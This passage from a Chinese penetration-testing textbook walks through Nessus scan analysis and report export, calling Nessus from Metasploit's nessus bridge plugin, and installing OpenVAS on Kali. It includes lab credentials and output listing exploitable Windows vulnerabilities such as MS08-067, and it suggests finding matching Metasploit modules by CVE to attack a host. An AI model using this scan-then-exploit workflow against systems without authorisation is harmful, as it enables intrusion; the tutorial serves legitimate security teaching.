 
【实例2-4】实施漏洞扫描。具体操作步骤如下：
 
（1）这里以2.1.2小节中创建的扫描任务为例，开始实施漏洞扫描。在图2.22中单击[image: ]按钮，开始对目标进行扫描，如图2.23所示。
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图2.23　正在扫描
 
（2）从该界面可以看到Last Modified列显示的图标为[image: ]，表示正在对目标主机进行扫描。如果要停止扫描，则单击右侧的[image: ]（停止一下）按钮。如果需暂停扫描任务，则单击按钮。扫描完成后，将显示如图2.24所示的界面。
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图2.24　扫描完成
 
（3）当原来的[image: ]图标变为[image: ]，表示扫描完成。此时，单击扫描名称即可查看扫描结果，如图2.25所示。
 
 
 [image: ] 


图2.25　扫描结果
 
（4）该界面显示了扫描到的所有主机及主机的漏洞信息。共扫描了10台主机，扫描出的漏洞共95个、给出的补救措施共2个及扫描历史数为1。从Vulnerabilities列可以看到，以不同颜色显示了扫描结果。每种颜色表示漏洞的严重性，颜色中的数字表示漏洞个数。用户将鼠标悬浮到每个颜色上面，还可以看到该漏洞所占的百分比。在右下角以环形图显示了每种漏洞所占的比例，而且在圆形图右侧显示了每种颜色代表的漏洞安全级别。其中，颜色的安全级别依次是Critical（非常严重，红色）、High（比较严重，黄橙）、Medidum（中等的，黄色）、Low（中低的，绿色）、Info（信息，蓝色）。接下来，用户可查看并分析每台主机的漏洞信息。
2.1.4　分析并导出漏洞扫描报告
 
当用户对目标主机扫描完成后，即可分析扫描结果，并从中获取到目标主机的漏洞信息。为了方便用户对扫描结果的分析，Nessus支持用户将扫描结果生成不同格式的报告。Nessus支持导出的文件格式包括Nessus、PDF、HTML、CSV和Nessus DB这5种。不管使用哪种扫描模板，导出的文件格式都是相同的。下面介绍分析并导出漏洞扫描报告的方法。
 
1．分析漏洞扫描结果
 
【实例2-5】分析漏洞扫描结果。具体操作步骤如下：
 
（1）下面以【实例2-4】的扫描结果为例，对其扫描结果进行分析。扫描结果如图2.26所示。
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图2.26　扫描结果
 
（2）该界面显示了所有目标主机的扫描结果。例如，这里分析主机192.168.0.113的漏洞扫描结果。单击主机地址192.168.0.113，显示该主机的扫描结果，如图2.27所示。
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图2.27　漏洞扫描结果
 
[image: ]提示：图2.27中只截取了一部分漏洞信息。由于该图比较大，所以无法截取到整个界面。
 
（3）从该界面可以看到，该主机中共扫描出71个漏洞。在该漏洞列表中，显示了漏洞的严重情况（Sev）、插件名（Name）、插件族（Family）和漏洞个数（Count）。其中，Name列的值表示扫描该主机时使用的插件；Family列的值表示扫描主机使用的插件所属的族；Count值表示存在该漏洞的个数。在该界面右侧Host Details中，显示了关于该主机的详细信息。包括IP地址、DNS、MAC地址、操作系统类型及扫描所用的时间等。同样，在右下角以环形图显示了每种级别漏洞所占的百分比。用户将鼠标悬浮到每种颜色上，即可看到每种漏洞所占的百分比。在该界面通过单击插件名称，即可查看所有漏洞的详细信息。例如，查看该主机中VNC Server'password'Password漏洞的详细信息，显示结果如图2.28所示。
 
（4）该界面显示了VNC Server'password'Password漏洞的详细信息。其中，包括该漏洞的描述信息（Description）、漏洞解决方法（Solution）及输出（Output）信息等。从描述信息中可以看到，如果远程主机正在运行着VNC服务，并且使用了弱密码是非常不安全的。Nessus能够使用password密码登录VNC服务，进而控制目标主机。解决的方法就是为VNC服务设置一个复杂的密码。另外，用户在该界面的右侧也可以看到关于漏洞的一些详细信息，通常包括Plugin Details（插件详细信息）、Risk Information（风险信息）、Vulnerability Information（漏洞信息）、Exploitable With和Reference Information（参考信息）这5部分。从Reference Information部分，可以看到该漏洞的CVE编号。当用户确定该漏洞的CVE编号后，即可在网上找到对应的攻击载荷，或者直接在Metasploit中使用search命令搜索对应的攻击模块。然后，实施渗透攻击。
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图2.28　VNC服务密码漏洞信息
 
2．生成扫描报告
 
为了方便用户对其他漏洞进行分析，下面绍将扫描结果生成报告的方法。
 
【实例2-6】将扫描结果导出为Nessus格式的报告。具体操作步骤如下：
 
（1）在扫描结果界面单击Export按钮，将弹出一个列表，如图2.29所示。
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图2.29　菜单栏
 
（2）该菜单栏中显示了可以生成的扫描漏洞报告格式。这里选择导出文件格式为Nessus。所以，单击Nessus选项，弹出如图2.30所示的对话框。
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图2.30　保存报告文件
 
（3）在该界面选中Save File单选按钮，单击OK按钮，即生成报告文件。
 
[image: ]提示：用户可以使用以上的方法，生成其他格式的扫描报告。
2.1.5　远程调用Nessus
 
在用户搭建好Nessus服务后，即可直接在Metasploit中远程调用，通过命令行方式对目标主机实施扫描。下面介绍在Metasploit中远程调用Nessus服务，并实施扫描的方法。
 
【实例2-7】在Metasploit中调用Nessus对目标主机实施扫描。具体操作步骤如下：
 
（1）确定Metasploit已经连接到PostgreSQL数据库服务。因为使用Nessus扫描的所有结果都将保存在数据库中，所以必须成功连接一个数据库。执行命令如下：
 


msf5 > db_status 

[*] Connected to msf. Connection type: postgresql.


 
从输出的信息中，可以看到已经连接到msf数据库。如果没有连接的话，使用db_connect命令连接（关于数据库的连接，在前面章节有详细介绍）。
 
（2）载入Nessus桥插件。执行命令如下：
 


msf5 > load nessus 

[*] Nessus Bridge for Metasploit

[*] Type nessus_help for a command listing

[*] Successfully loaded plugin: Nessus


 
从输出的信息中，可以看到已成功加载了Nessus桥插件。此时，用户可以使用nessus_help来查看Nessus桥插件支持的所有命令。Nessus桥插件经常会有一些改进和更新，所以定期检查nessus_help的输出是非常有必要的。这样，用户就能够随时了解该插件是否又添加了新的功能。执行nessus_help命令后，会显示7部分命令。下面分别介绍每部分的命令。其中，第1部分为通用命令，具体如下：
 


msf5 > nessus_help 

Command                       Help Text

-----------------           -------------------------------------

Generic Commands             #通用命令

-----------------           -------------------------------------

nessus_connect              Connect to a Nessus server

nessus_logout                Logout from the Nessus server

nessus_login                  Login into the connected Nesssus server with a 

                            different username and password

nessus_save                  Save credentials of the logged in user to nessus.yml

nessus_help                 Listing of available nessus commands

nessus_server_properties    Nessus server properties such as feed type, 

                            version, plugin set and server UUID.

nessus_server_status       Check the status of your Nessus Server

nessus_admin                 Checks if user is an admin

nessus_template_list        List scan or policy templates

nessus_folder_list          List all configured folders on the Nessus server

nessus_scanner_list         List all the scanners configured on the Nessus server


 
该部分是一项常用命令，即对Nessus服务的基本操作，如连接、登录、退出Nessus服务等。
 
第2部分为数据库命令，具体如下：
 


Nessus Database Commands        #Nessus数据库命令

------------------------        ------------------------------------

nessus_db_scan                   Create a scan of all IP addresses in db_hosts

nessus_db_import                Import Nessus scan to the Metasploit connected 

                                database


 
该部分是对Nessus连接的数据库的操作。例如，导入Nessus扫描报告到Metasploit连接的数据库中。
 
第3部分为报告命令，具体如下：
 


Reports Commands                    #报告命令

-----------------------            -------------------------------

nessus_report_hosts               Get list of hosts from a report

nessus_report_vulns               Get list of vulns from a report

nessus_report_host_details         Get detailed information from a report item                                     on a host


 
该部分是对Nessus扫描报告的操作。如查看扫描报告的主机、漏洞及主机详细信息等。
 
第4部分为扫描命令，具体如下：
 


Scan Commands                   #扫描命令

----------------------          ---------------------------------

nessus_scan_list              List of all current Nessus scans

nessus_scan_new                  Create a new Nessus Scan

nessus_scan_launch           Launch a newly created scan. New scans need to 

                                be manually launched through this command

nessus_scan_pause             Pause a running Nessus scan

nessus_scan_pause_all         Pause all running Nessus scans

nessus_scan_stop              Stop a running or paused Nessus scan

nessus_scan_stop_all          Stop all running or paused Nessus scans

nessus_scan_resume           Resume a pasued Nessus scan

nessus_scan_resume_all        Resume all paused Nessus scans

nessus_scan_details           Return detailed information of a given scan

nessus_scan_export             Export a scan result in either Nessus, HTML, 

                                PDF, CSV, or DB format

nessus_scan_export_status      Check the status of an exported scan


 
该部分为Nessus扫描命令，如查看扫描列表、启动、暂停、停止扫描以及查看扫描详细信息等。
 
第5部分为插件命令，具体如下：
 


Plugin Commands                 #插件命令

-----------------                -----------------

nessus_plugin_list              List all plugins in a particular plugin family.

nessus_family_list              List all the plugin families along with their 

                                corresponding family IDs and plugin count.

nessus_plugin_details           List details of a particular plugin


 
该部分为Nessus扫描插件命令，如查看所有的插件列表、插件族及插件详细信息等。
 
第6部分为用户命令，具体如下：
 


User Commands                   #用户命令

-----------------               -----------------

nessus_user_list                Show Nessus Users

nessus_user_add               Add a new Nessus User

nessus_user_del                Delete a Nessus User

nessus_user_passwd            Change Nessus Users Password


 
该部分为Nessus用户命令，如创建、删除及查看Nessus用户。注意，这里指的是Nessus用户，并不是系统中的用户。
 
第7部分为策略命令，具体如下：
 


Policy Commands                 #策略命令

-----------------               -----------------

nessus_policy_list              List all polciies

nessus_policy_del               Delete a policy


 
该部分为Nessus策略命令，如查看或删除策略。了解以上的这些命令，有助于用户在后续进行的一系列操作。
 
（3）使用nessus_connect命令登录到Nessus服务器。其语法格式如下：
 


nessus_connect username:password@服务器地址:8834 <ok>


 
在以上语法中，username和password分别表示Nessus服务器的登录用户名和密码。本例中的Nessus服务器地址为192.168.1.105，登录名和密码为admin、123456。所以，执行命令如下：
 


msf5 > nessus_connect admin:123456@192.168.1.105:8834

[*] Connecting to https://192.168.1.105:8834/ as admin

[*] User admin authenticated successfully.


 
输出的信息显示：已成功登录到Nessus服务器。
 
（4）接下来的操作，与图形界面的使用一样。在实施扫描之前，需要创建扫描策略和扫描任务。用户可以使用nessus_policy_list查看服务器上所有已经定义的扫描策略。执行命令如下：
 


msf5 > nessus_policy_list 

Policy ID      Name                                 Policy UUID

---------      ----                                  -----------

4                Local Vulnerability Assessment        ad629e16-03b6-8c1d-cef6-

                                                    ef8c9dd3c658d24bd260ef5f9e66


 
从输出的信息中，可以看到有一个自定义的扫描策略。接着，将使用该策略来创建扫描任务。
 
（5）使用nessus_scan_new命令创建扫描任务。在创建扫描任务之前，先查看该命令的使用方法。具体如下：
 


msf5 > nessus_scan_new -h

[*] nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>

[*] Use nessus_policy_list to list all available policies with their 

corresponding UUIDs


 
从输出的信息中，可以看到需要指定策略的UUID、扫描名称、描述信息及扫描目标。这里将创建一个名称为Vuln Scan的扫描任务。执行命令如下：
 


nessus_scan_new ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 

"Local Scan" "Vuln Scan" 192.168.1.0/24

[*] Creating scan from policy number ad629e16-03b6-8c1d-cef6-ef8c9dd3

c658d24bd260ef5f9e66, called Local Scan - Vuln Scan and scanning 192.

168.1.0/24

[*] New scan added

[*] Use nessus_scan_launch 9 to launch the scan

Scan ID      Scanner ID      Policy ID          Targets                 Owner

-------       ----------        ---------        -------                 -----

9              1                   8                 192.168.1.0/24      admin


 
输出的信息提示：已成功创建了扫描任务。
 
（6）启动扫描任务。执行命令如下：
 


msf5 > nessus_scan_launch 9

[+] Scan ID 9 successfully launched. The Scan UUID is 0053420a-bae4-fbe4-

f400-dae36aa0de996727a58e15fda377


 
输出的信息显示：已成功启动了刚才创建的扫描任务。在以上命令中，编号9指的是扫描任务ID。
 
（7）扫描开始后，可以使用nessus_scan_list命令查看扫描运行的状态。执行命令如下：
 


msf5 > nessus_scan_list 

Scan ID      Name            Owner       Started       Status          Folder

-------         ----            -----       -------        ------         ------

6                Scan         admin                   completed      3

9                Vuln Scan       admin                 running        3


 
输出的信息中显示：名称为Vuln Scan的扫描任务状态为running，表示正在运行。扫描结束后，其状态显示为completed（完成）。等待扫描完成后，即可查看并分析其扫描报告。
 
（8）扫描结束后，可以使用“nessus_report_hosts扫描ID”命令查看其扫描报告。执行命令如下：
 


msf5 > nessus_report_hosts 9

Host ID    Hostname    % of Critical Findings    % of High Findings    % of Medium Findings    % of Low Findings

-------    --------    ---------    ---------    ---------    ---------

6    192.168.1.1    0    0    2    1

101    192.168.1.100    0    1    7    2

103    192.168.1.102    8    3    26    5

105    192.168.1.104    9    1    3    1

106    192.168.1.105    52    102    174    10

109    192.168.1.108    0    0    0    0


 
从输出信息中可以看到，共扫描了6台主机，并且分别显示了每台主机中不同级别的漏洞个数。如果用户要查看其中某台主机的漏洞信息，可以使用nessus_report_host_details命令来实现。其语法格式如下所示：
 


nessus_report_host_details [scan ID] [host ID]


 
例如，查看主机192.168.1.104的漏洞信息。则执行命令如下：
 


msf5 > nessus_report_host_details 9 105

[*] Host information                                #主机详细信息

IP Address: 192.168.1.104

Hostname: 

Operating System: Microsoft Windows XP

Microsoft Windows XP Service Pack 1

[*] Vulnerability information                        #漏洞详细信息

PluginName              Plugin Famil               Severity

-----------             ------------               -------------

CommonPlatformEnumeration(CPE)                         General        0

DCEServicesEnumeration                                 Windows        0

DeviceType                                            General        0

EthernetCardManufacturerDetection                    Misc        0

ICMPTimestampRequestRemoteDateDisclosure            General        0

MS03-039:MicrosoftRPCInterfaceBufferOverrun(824146)(uncredentialedcheck) 

Windows         4

MS03-043:BufferOverruninMessengerService(828035)(uncredentialedcheck)

Windows        4

MS04-012: Cumulative Update for Microsoft RPC/DCOM (828741) (uncredentialed 

check)     Windows    4

MS04-022: Microsoft Windows Task Scheduler Remote Overflow (841873) 

(uncredentialed check)    Windows    4

MS05-007: Vulnerability in Windows Could Allow Information Disclosure 

(888302) (uncredentialed check)    Windows    2

MS05-043: Vulnerability in Printer Spooler Service Could Allow Remote Code 

Execution (896423) (uncredentialed check)    Windows    4

MS06-035: Vulnerability in Server Service Could Allow Remote Code Execution 

(917159) (uncredentialed check)    Windows    3

MS06-040: Vulnerability in Server Service Could Allow Remote Code Execution 

(921883) (uncredentialed check)    Windows    4

MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution 

(958687) (uncredentialed check)     Windows    4

Microsoft Windows Administrator Default Password Detection (W32/Deloder Worm 

Susceptibility)     Windows    4

...

UPnPTCPHelperDetection                                    Windows        0

VMwareVirtualMachineDetection                            General        0

WindowsNetBIOS/SMBRemoteHostInformationDisclosure        Windows        0

[*] Compliance information

Plugin Name  Plugin Famil  Severity

-----------  ------------  --------


 
以上输出信息，显示了目标主机192.168.1.104的详细信息，包括主机系统信息和漏洞信息。如果用户想要查看具体的漏洞信息，可以使用nessus_report_vulns命令查看。显示结果如下：
 


msf5 > nessus_report_vulns 9

PluginID    PluginName                            Plugin Family    Vulnerability Count

-----    ---------------                   -----------     -------------

10028      DNS Server BIND version         DNS                        1

          Directive Remote Version Detection

10056    /docDirectoryBrowsable             CGI abuses                1

10079    AnonymousFTPEnabled                FTP                        1

10092    FTPServerDetection                 Service detection        1

10107    HTTPServerTypeandVersion        Web Servers                2

10114    ICMPTimestampRequestRemoteDate    General                    4

          Disclosure

10150    WindowsNetBIOS/SMBRemoteHost    Windows                   3

          InformationDisclosure

10203    rexecdServiceDetection             Service detection        1

10205    rloginServiceDetection              Service detection        1

10223    RPCportmapperServiceDetection    RPC                        2

10245    rshServiceDetection                    Service detection        1

10263    SMTPServerDetection                Service detection        1

10267    SSHServerTypeandVersion            Service detection        2

          Information

...


 
以上输出信息显示了该扫描任务（扫描ID为9）的所有漏洞信息。如果用户想查看具体的漏洞信息，可以使用vulns命令来实现。例如，查看主机192.168.1.104的漏洞信息。执行命令如下：
 


msf5 > vulns --rhosts 192.168.1.104

[*] Time: 2017-05-07 09:14:29 UTC Vuln: host=192.168.1.104 name=MS08-067 

Microsoft Server Service Relative Path Stack Corruption refs=URL-http:

//www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos,

MSB-MS08-067,OSVDB-49243,CVE-2008-4250 

[*] Time: 2017-05-07 11:46:18 UTC Vuln: host=192.168.1.104 name=Nessus Scan 

Information refs=NSS-19506 

[*] Time: 2017-05-07 11:46:18 UTC Vuln: host=192.168.1.104 name=Patch Report 

refs=NSS-66334 

[*] Time: 2017-05-07 11:46:18 UTC Vuln: host=192.168.1.104 name=MS04-022: 

Microsoft Windows Task Scheduler Remote Overflow (841873) (uncredentialed 

check) refs=CVE-2004-0212,BID-10708,OSVDB-7798,MSFT-MS04-022,NSS-13852 

[*] Time: 2017-05-07 11:46:19 UTC Vuln: host=192.168.1.104 name=MS08-067: 

Microsoft Windows Server Service Crafted RPC Request Handling Remote Code 

Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,

OSVDB-49243,MSFT-MS08-067,CERT-827267,IAVA-2008-A-0081,EDB-ID-6824,EDB-

ID-7104,EDB-ID-7132,CWE-94,MSF-MS08-067 Microsoft Server Service Relative 

Path Stack Corruption,NSS-34477 

[*] Time: 2017-05-07 11:46:19 UTC Vuln: host=192.168.1.104 name=MS05-027: 

Vulnerability in SMB Could Allow Remote Code Execution (896422) 

(uncredentialed check) refs=CVE-2005-1206,BID-13942,OSVDB-17308,MSFT-

MS05-027,NSS-18502 

[*] Time: 2017-05-07 11:46:19 UTC Vuln: host=192.168.1.104 name=Common 

Platform Enumeration (CPE) refs=NSS-45590 

[*] Time: 2017-05-07 11:46:19 UTC Vuln: host=192.168.1.104 name=Device Type 

refs=NSS-54615 

[*] Time: 2017-05-07 11:46:19 UTC Vuln: host=192.168.1.104 name=Microsoft 

Windows XP Unsupported Installation Detection refs=NSS-73182


 
以上输出信息显示了目标主机192.168.1.104的详细漏洞信息。
2.2　使用OpenVAS
 
OpenVAS（开放式漏洞评估系统）是一个客户端/服务器架构，它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支，它提供的产品是完全免费的。本节介绍使用OpenVAS来获取漏洞信息的方法。
2.2.1　安装及初始化OpenVAS
 
要使用OpenVAS，需要先安装。下面介绍安装及初始化OpenVAS服务的方法。
 
1．获取OpenVAS的安装包
 
OpenVAS安装包的下载地址：
 


http://www.openvas.org/download.html


 
在浏览器的地址栏中输入该地址后，打开如图2.31所示的界面。
 
 
 [image: ] 


图2.31　下载OpenVAS安装包
 
该界面提供了3种安装OpenVAS的包，分别是Livedemo（Live模式）、Virtual Appliance（虚拟应用程序）和Source Packages（源码包）。用户可以选择下载任意一种安装包。例如，选择下载源码包，将显示如图2.32所示的界面。
 
 
 [image: ] 


图2.32　OpenVAS的源码包
 
从该界面可以看到提供的源码包。
 
2．安装OpenVAS服务
 
下面以Kali Linux系统为例，介绍安装OpenVAS服务的方法。在Kali Linux提供的软件源中，已经提供了OpenVAS的安装包。所以，用户可以直接使用apt-get命令安装。执行命令如下：
 


root@kali:~# apt-get update && apt-get install openvas*  -y


 
开始安装OpenVAS服务。如果在安装过程中没有报错，则表明OpenVAS服务安装成功。
 
3．初始化OpenVAS服务
 
安装OpenVAS服务后，还需要进行一些初始化设置才可以使用。下面介绍初始化OpenVAS的方法。
 
【实例2-8】初始化OpenVAS服务。具体操作步骤如下：
 
（1）运行openvas-setup脚本，下载并更新OpenVAS库。执行命令如下：
 


root@kali:~# openvas-setup 

[>] Updating OpenVAS feeds

[*] [1/3] Updating: NVT

--2018-10-25 18:01:29-- http://dl.greenbone.net/community-nvt-feed-current.

tar.bz2

正在解析主机 dl.greenbone.net(dl.greenbone.net)... 89.146.224.58, 2a01:130:

2000:127::d1

正在连接 dl.greenbone.net (dl.greenbone.net)|89.146.224.58|:80... 已连接

已发出 HTTP 请求，正在等待回应... 200 OK

长度：30171500 (29M) [application/octet-stream]

正在保存至: “/tmp/greenbone-nvt-sync.OtczofOeYK/openvas-feed-2018-10-25-

25466.tar.bz2”

/tmp/greenbone-nvt- 100%[===============>]  28.77M  4.63MB/s  用时 7.5s  

2018-10-25 18:01:41 (3.83 MB/s) - 已保存 “/tmp/greenbone-nvt-sync.

OtczofOeYK/openvas-feed-2018-10-25-25466.tar.bz2” [30171500/30171500])

2008/

2008/secpod_ms08-054_900045.nasl

2008/secpod_goodtech_ssh_sftp_mul_bof_vuln_900166.nasl

2008/secpod_pi3web_isapi_request_dos_vuln_900402.nasl

2008/gb_twiki_xss_n_cmd_exec_vuln.nasl

2008/secpod_firefox_location_hash_dos_vuln.nasl

2008/ipswitch_whatsup_info_disclosure.nasl.asc

2008/sonicwall_vpn_client_detect.nasl.asc

2008/phpwebthings_rfi.nasl.asc

…//省略部分内容//…

● openvas-manager.service - Open Vulnerability Assessment System Manager 

   Daemon

   Loaded: loaded (/lib/systemd/system/openvas-manager.service; disabled; 

   vendor preset: disabled)

   Active: active (running) since Thu 2018-10-25 18:24:30 CST; 6s ago

     Docs: man:openvasmd(8)

           http://www.openvas.org/

  Process: 26880 ExecStart=/usr/sbin/openvasmd --listen=127.0.0.1 --port=

  9390 --database=/var/lib/openvas/mgr/tasks.db (code=exited, status=0/

  SUCCESS)

 Main PID: 26882 (openvasmd)

    Tasks: 1 (limit: 2322)

   Memory: 72.2M

   CGroup: /system.slice/openvas-manager.service

           └─26882 openvasmd

10月 25 18:24:29 daxueba systemd[1]: Starting Open Vulnerability Assessment 

System Manager Daemon...

10月 25 18:24:30 daxueba systemd[1]: openvas-manager.service: Can't open PID 

file /var/run/openvasmd.pid (yet?) after start: No such file or directory

10月 25 18:24:30 daxueba systemd[1]: Started Open Vulnerability Assessment 

System Manager Daemon.

[*] Opening Web UI (https://127.0.0.1:9392) in: 5... 4... 3... 2... 1... 

[>] Checking for admin user

[*] Creating admin user

User created with password '9d41139b-c602-4d39-8e51-dcbe6726ba97'.

[+] Done


 
从以上输出信息中可以看到，下载并更新了所有库，同时启动了所有对应的服务。而且，从最后几行信息可以看到，创建了一个管理用户admin，其密码为9d41139b-c602-4d39-8e51-dcbe6726ba97。由于需要下载大量的库，所以以上过程需要很长时间。
 
[image: ]注意：再次运行openvas-setup命令，同步的时间就快了。
 
（2）用户可以通过openvasmd命令修改密码。执行命令如下：
 


root@kali:~# openvasmd --user=admin --new-password=password


 
执行以上命令后，将不会输出任何信息。在以上命令中，--user选项指定修改密码的用户为admin，--new-password选项指定将admin用户的密码修改为password。
 
（3）使用openvas-check-setup检查OpenVAS是否安装成功。执行命令如下：
 


root@kali:~# openvas-check-setup 

openvas-check-setup 2.3.7

  Test completeness and readiness of OpenVAS-9

  Please report us any non-detected problems and

  help us to improve this check routine:

  http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss

  Send us the log-file (/tmp/openvas-check-setup.log) to help analyze the 

  problem.

  Use the parameter --server to skip checks for client tools

  like GSD and OpenVAS-CLI.

Step 1: Checking OpenVAS Scanner ... 

        OK: OpenVAS Scanner is present in version 5.1.3.

        OK: redis-server is present in version v=5.0.0.

        OK: scanner (kb_location setting) is configured properly using the 

        redis-server socket: /var/run/redis/redis.sock

        OK: redis-server is running and listening on socket: /var/run/

        redis/redis.sock.

        OK: redis-server configuration is OK and redis-server is running.

        OK: NVT collection in /var/lib/openvas/plugins contains 47902 NVTs.

        WARNING: Signature checking of NVTs is not enabled in OpenVAS Scanner.

        SUGGEST: Enable signature checking (see http://www.openvas.org/trusted-

        nvts.html).

        OK: The NVT cache in /var/cache/openvas contains 52861 files for 

        52861 NVTs.

Step 2: Checking OpenVAS Manager ... 

        OK: OpenVAS Manager is present in version 7.0.3.

        OK: OpenVAS Manager database found in /var/lib/openvas/mgr/tasks.db.

        OK: Access rights for the OpenVAS Manager database are correct.

        OK: sqlite3 found, extended checks of the OpenVAS Manager installation 

        enabled.

        OK: OpenVAS Manager database is at revision 184.

        OK: OpenVAS Manager expects database at revision 184.

        OK: Database schema is up to date.

        OK: OpenVAS Manager database contains information about 47902 NVTs.

        OK: At least one user exists.

        OK: OpenVAS SCAP database found in /var/lib/openvas/scap-data/scap.db.

        OK: OpenVAS CERT database found in /var/lib/openvas/cert-data/cert.db.

        OK: xsltproc found.

Step 3: Checking user configuration ... 

        WARNING: Your password policy is empty.

        SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password 

        policy.

Step 4: Checking Greenbone Security Assistant (GSA) ... 

        OK: Greenbone Security Assistant is present in version 7.0.3.

        OK: Your OpenVAS certificate infrastructure passed validation.

Step 5: Checking OpenVAS CLI ... 

        OK: OpenVAS CLI version 1.4.5.

Step 6: Checking Greenbone Security Desktop (GSD) ... 

        SKIP: Skipping check for Greenbone Security Desktop.

Step 7: Checking if OpenVAS services are up and running ... 

        OK: netstat found, extended checks of the OpenVAS services enabled.

        OK: OpenVAS Scanner is running and listening on a Unix domain socket.

        WARNING: OpenVAS Manager is running and listening only on the local 

        interface.

        This means that you will not be able to access the OpenVAS Manager 

        from the

        outside using GSD or OpenVAS CLI.

        SUGGEST: Ensure that OpenVAS Manager listens on all interfaces unless 

        you want

        a local service only.

        OK: Greenbone Security Assistant is listening on port 9392, which is 

        the default port.

Step 8: Checking nmap installation ...

        WARNING: Your version of nmap is not fully supported: 7.70

        SUGGEST: You should install nmap 5.51 if you plan to use the nmap NSE 

        NVTs.

Step 9: Checking presence of optional tools ...

       OK: pdflatex found.

       OK: PDF generation successful. The PDF report format is likely to work.

       OK: ssh-keygen found, LSC credential generation for GNU/Linux targets 

       is likely to work.

        WARNING: Could not find rpm binary, LSC credential package generation 

        for RPM and DEB based targets will not work.

        SUGGEST: Install rpm.

        WARNING: Could not find makensis binary, LSC credential package 

        generation for Microsoft Windows targets will not work.

        SUGGEST: Install nsis.

It seems like your OpenVAS-9 installation is OK.

If you think it is not OK, please report your observation

and help us to improve this check routine:

http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss

Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem.


 
以上过程进行了9步检查。检查完后，看到“It seems like your OpenVAS-9 installation is OK.”信息，表示OpenVAS安装成功。
 
（4）下面用户可以使用netstat命令查看监听的端口，以确定OpenVAS是否启动成功。
 


root@kali:~# netstat -ntlp 

tcp    0    0 127.0.0.1:9390    0.0.0.0:*      LISTEN     10617/openvasmd     

tcp    0    0 127.0.0.1:80       0.0.0.0:*     LISTEN      10643/gsad          

tcp   0   0 127.0.0.1:9392       0.0.0.0       LISTEN      10639/gsad   


 
OpenVAS服务监听了3个端口，分别是9390、80和9392。如果没有看到以上信息输出，说明该服务没有启动。此时，用户可以使用openvas-start命令启动该程序。命令如下：
 


root@kali:~# openvas-start

Starting OpenVas Services


 
看到以上信息，则表示OpenVAS服务成功启动。如果需要停止服务，需要执行openvas-stop命令如下：
 


root@kali:~# openvas-stop 

Stopping OpenVas Services


 
从输出信息中，可以看到OpenVAS服务已停止。
 
现在，用户可以在浏览器中输入https://IP地址:9392/（IP地址就是OpenVas服务所在主机的IP地址，也可以是主机名），登录OpenVAS服务器了。成功登录后，即可使用该工具进行各种漏洞扫描。
2.2.2　登录及配置OpenVAS
 
当成功安装OpenVAS后，即可登录并使用该工具实施漏洞扫描。但是，成功登录OpenVAS服务后，还需要进行简单的配置才可以实施漏洞扫描。下面介绍登录及配置OpenVAS服务的方法。
 
1．登录OpenVAS服务
 
【实例2-9】登录OpenVAS服务。具体操作步骤如下：
 
（1）在浏览器中输入https://127.0.0.1:9392，显示如图2.33所示的界面。
 
[image: ]注意：在登录OpenVAS服务时，输入地址使用的是https，而不是http。
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图2.33　不可信任的链接
 
（2）该界面显示浏览器中访问的链接不可信任。这是因为该链接使用的是https协议，必须要确定安全可靠才可访问。单击Advanced按钮，显示如图2.34所示的界面。
 
（3）该界面显示了访问该链接存在的风险。如果确认访问的链接没问题，则单击Add Exception按钮添加例外，如图2.35所示。
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图2.34　风险信息
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图2.35　添加例外
 
（4）该界面显示了要添加例外的链接信息。此时，单击Confirm Security Execption按钮，显示如图2.36所示的界面。
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图2.36　OpenVAS登录界面
 
（5）该界面是OpenVAS服务的登录界面，输入用户名和密码即可登录该服务。这里的用户名就是前面配置OpenVAS时，自动创建的admin用户，密码为password。输入用户名和密码后，单击Login按钮，显示如图2.37所示的界面。
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图2.37　OpenVAS主界面
 
（6）看到该界面显示的内容，则表示已成功登录OpenVAS服务。
 
注意：在重新启动系统后，如果要使用OpenVAS工具，则需要重新启动服务。否则，无法登录服务器。如果在启动服务时，出现错误，则使用openvas-setup命令重新同步下数据库，同时它自动启动相关服务。
 
2．创建扫描配置
 
扫描配置就是用来指定扫描目标时所需要的插件。使用OpenVAS工具扫描时，需要通过一个扫描任务来实现。但是，扫描任务是由一个扫描配置和一个目标组成的。所以，在实施扫描之前，必须先创建扫描配置和扫描目标才可以。下面介绍创建扫描配置的方法。
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图2.38 Scan Configs
 
【实例2-10】新建扫描配置。具体操作步骤如下：
 
（1）在服务器的菜单栏中依次选择Configuration|Scan Configs命令，如图2.38所示。显示如图2.39所示的界面。
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图2.39　Scan Configs界面
 
（2）从该界面可以看到，默认有8个扫描配置。在该界面单击[image: ]（New Scan Config）图标，即可创建新的扫描配置，如图2.40所示。
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图2.40　新建扫描配置
 
（3）在该界面中设置扫描的名称，这里设置为Local Vulnerabilities。对于Base选择Empty，static and fast复选框，该选项表示允许用户从零开始创建自己的配置。单击Create按钮进行创建。显示如图2.41所示的界面。
 
[image: ]提示：图2.41中选择的是插件的类别。其中，每一类又包括好多个插件，从NVTs selected列可以看到。系统默认勾选类别后，将选择使用该类中的所有扫描插件。如果用户想要手动选择扫描插件，单击Actions列的[image: ]图标，即可看到所有的插件，如图2.42所示。
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图2.41　编辑扫描配置
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图2.42　Debian Local Security Check类的所有插件
 
在该界面，用户可选择自己需要的扫描插件。设置完成后，单击Save按钮保存配置使其生效。
 
（4）从图2-41所示界面的Family栏看到有很多的可扫描插件信息，如果想要选择某插件，只需将Select all NVTs栏中的复选框勾选上即可，设置完后，单击Save按钮，显示如图2.43所示的界面。
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图2.43　新建的扫描配置
 
（5）该界面显示了新建的扫描配置Local Vulnerabilities。从该界面可以看到，新建的扫描配置共选择了9个插件族，共4409个插件。如果用户希望编辑该扫描配置重新设置插件时，单击Actions列的[image: ]图标，打开扫描编辑配置界面。在该界面单击扫描配置名称，即可查看其详细信息，如图2.44所示。
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图2.44　扫描配置的详细信息
 
（6）从该界面可以看到的该扫描配置的详细信息，包括选择的漏洞家族、插件及配置等。
 
3．创建扫描目标
 
在创建好扫描配置后，就需要创建扫描目标了。扫描目标就是用来指定扫描目标主机的地址、扫描端口及使用的扫描方式。下面介绍创建扫描目标的方法。
 
